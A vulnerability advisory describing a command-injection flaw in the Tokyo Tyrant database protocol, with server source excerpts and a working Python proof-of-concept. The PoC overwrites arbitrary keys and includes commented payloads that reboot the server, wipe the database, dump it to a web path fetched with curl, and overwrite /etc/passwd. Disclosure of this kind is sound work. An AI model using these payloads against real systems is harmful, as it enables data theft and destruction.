Tokyo Tyrant Protocol Vulnerability
Table of Contents
Synopsis¶
A remotely exploitable security flaw was discovered for Tokyo Tyrant (a distributed, persistent key/value store database.) Tokyo Tyrant client connections are vulnerable to command-injection when values exceed 32 kilobytes in size, putting at risk any application or website that uses Tokyo Tyrant to store network data. For example, someone could leave a comment on your blog that steals all your data, modifies database content, ejects your server's CDROM drive, and then proceed to destroy all the data and the server itself.
Impact¶
Applications using Tokyo Tyrant to store user submittable data might be vulnerable to the following attacks:
- Limited access to shell commands (any command but no arguments)
- Download an export of the entire database
- Overwrite files in host computer to which Tyrant has access.
- Delete the entire database
- Reprogram database to use a malicious host as the master node.
- Export a list of keys/values from entire database. (Data retreival attack is slightly more complex)
- Read/write arbitrary key values
- Corrupt transport stream to cause undefined behavior in application.
- An attacker can re-adjust stream alignment after injecting malicious frames thereby causing the application-side Tyrant socket remain functional. This reduces the likelihood of an administrator noticing such attacks (with the exception of a log message.) This attack is possible due to the inventive manner in which Tokyo Tyrant coalesces support for multiple protocols on a single socket (e.g. binary, memcached, http) as well as the presence of the putnr() command which emits no response data.
-
Attackers can inject multiple commands and cause multiple responses to be queued in the application library. Take for example a website implementing the following business logic:
tyrant.put('unknown_key1', 'Whatevz: ' + form_input['field_with_evil_data']) return tyrant.get('unknown_key2')
In the example above an attacker would be able to inject malicious data to perform the following instead of the intended PUT operation:tyrant.put('arbitrary_key', 'extra evil data') tyrant.get('arbitrary_key')
The result of the malicious get operation would then be queued in the application receive socket and override the result of the innocent get() operation in the above app logic. - Libraries implementing the Tokyo Tyrant binary protocol contain no assertions to guard against this exploit:
Practical Considerations¶
- Applications encoding data as compact JSON should be safe, so long as binary data and line feed characters are properly escaped.
- Applications communicating with Tokyo Tyrant using the HTTP or Memcached protocols should be safe from this vulnerability. While the memcached interface appears to vulnerable, I was not able to find a way to make such an attack work.
- HTML forms that limit the length of a user's input or reject data which is improperly encoded should be safe.
- If access to COPY command is blocked, retreival of data generally requires some knowledge of the application using Tokyo Tyrant, and may not be applicable in all scenarios.
The Problem¶
Tokyo Tyrant does not "store and forward" protocol frames, but rather uses a getchar() like interface for fetching stream data as needed:
/* handle a task and dispatch it */ static void do_task(TTSOCK *sock, void *opq, TTREQ *req){ TASKARG *arg = (TASKARG *)opq; int c = ttsockgetc(sock); int c2; if(c == TTMAGICNUM){ c2 = ttsockgetc(sock);
Tokyo Tyrant ignores stream corruption errors without closing the TCP connection:
/* from do_task() @ ttserver.c */ case TTCMDREPL: do_repl(sock, arg, req); break; default: ttservlog(g_serv, TTLOGINFO, "unknown command"); break; /* from do_put() @ ttserver.c */ int ksiz = ttsockgetint32(sock); int vsiz = ttsockgetint32(sock); ttservlog(g_serv, TTLOGINFO, "ksiz=%d, vsiz=%d", ksiz, vsiz); if(ttsockcheckend(sock) || ksiz < 0 || ksiz > MAXARGSIZ || vsiz < 0 || vsiz > MAXARGSIZ){ ttservlog(g_serv, TTLOGINFO, "do_put: invalid parameters"); return; }
Tokyo Tyrant's line handling makes it easy for an attacker to instruct Tyrant to ignore certain data by injecting line feed characters:
/* from do_task() @ ttserver.c */ if(c == TTMAGICNUM){ [...] } else { ttsockungetc(sock, c); char *line = ttsockgets2(sock); ttservlog(g_serv, TTLOGINFO, "c=0x%x line: %s", c, line); if(line){ [...] } }
Proof of Concept¶
The script below demonstrates the feasability of such attacks:
#!/usr/bin/env python # # tyrant-security.py # import sys import struct import pytyrant if __name__ == '__main__': # overwrite arbitrary key agony = "i'm in ur cloud, corrupting ur data" graffiti = "it wasn't me lol" filler = '.' * (32 * 1024 * 1024) evil_value = "".join([ # the value length being greater than 32KB causes the frame # header to be consumed (for put() this is 10 bytes) '\n', # this causes a readline call in ttserver.c:do_task() to # consume the key name 'hello' so only the user-inputted # value is left-over struct.pack('>BBII', 0xc8, 0x10, len('love'), len(agony)), 'love', agony, struct.pack('>BBII', 0xc8, 0x18, len('hello'), len(graffiti)), 'hello', graffiti, struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), 'filler', filler, ]) tt = pytyrant.Tyrant.open('127.0.0.1', 1978) tt.put('love', 'i love you') print "Before Attack: love = %s" % (tt.get('love')) print "Executing PUT hello = %r... (malicious form input)" % (evil_value[:20]) tt.put('hello', evil_value) print "After Attack: hello = %s" % (tt.get('hello')) print "After Attack: love = %s" % (tt.get('love')) # # eject the cdrom drive and reboot the server # evil_value = "".join([ # '\n', # struct.pack('>BBI', 0xc8, 0x73, len('eject')), 'eject', # struct.pack('>BBI', 0xc8, 0x73, len('reboot')), 'reboot', # struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), # 'filler', filler, # ]) # # nuke entire database (vanish) # evil_value = "".join([ # '\n', # struct.pack('>BB', 0xc8, 0x72), # struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), # 'filler', filler, # ]) # # retrieve dump of database # evil_value = "".join([ # '\n', # struct.pack('>BB', 0xc8, 0x73, len('/var/www/media/dbdump.tch')), # '/var/www/media/dbdump.tch', # struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), # 'filler', filler, # ]) # os.system('curl http://victim.com/media/dbdump.tch') # # nuke /etc/passwd # evil_value = "".join([ # '\n', # struct.pack('>BBI', 0xc8, 0x73, len('/etc/passwd')), # '/etc/passwd', # struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), # 'filler', filler, # ])
Here is an example invocation:
jart@compy:~$ ttserver & jart@compy:~$ python tyrant-security.py Before Attack: love = i love you Executing PUT hello = "\n\xc8\x10\x00\x00\x00\x04\x00\x00\x00#lovei'm i"... (malicious form input) After Attack: hello = it wasn't me lol After Attack: love = i'm in ur cloud, corrupting ur data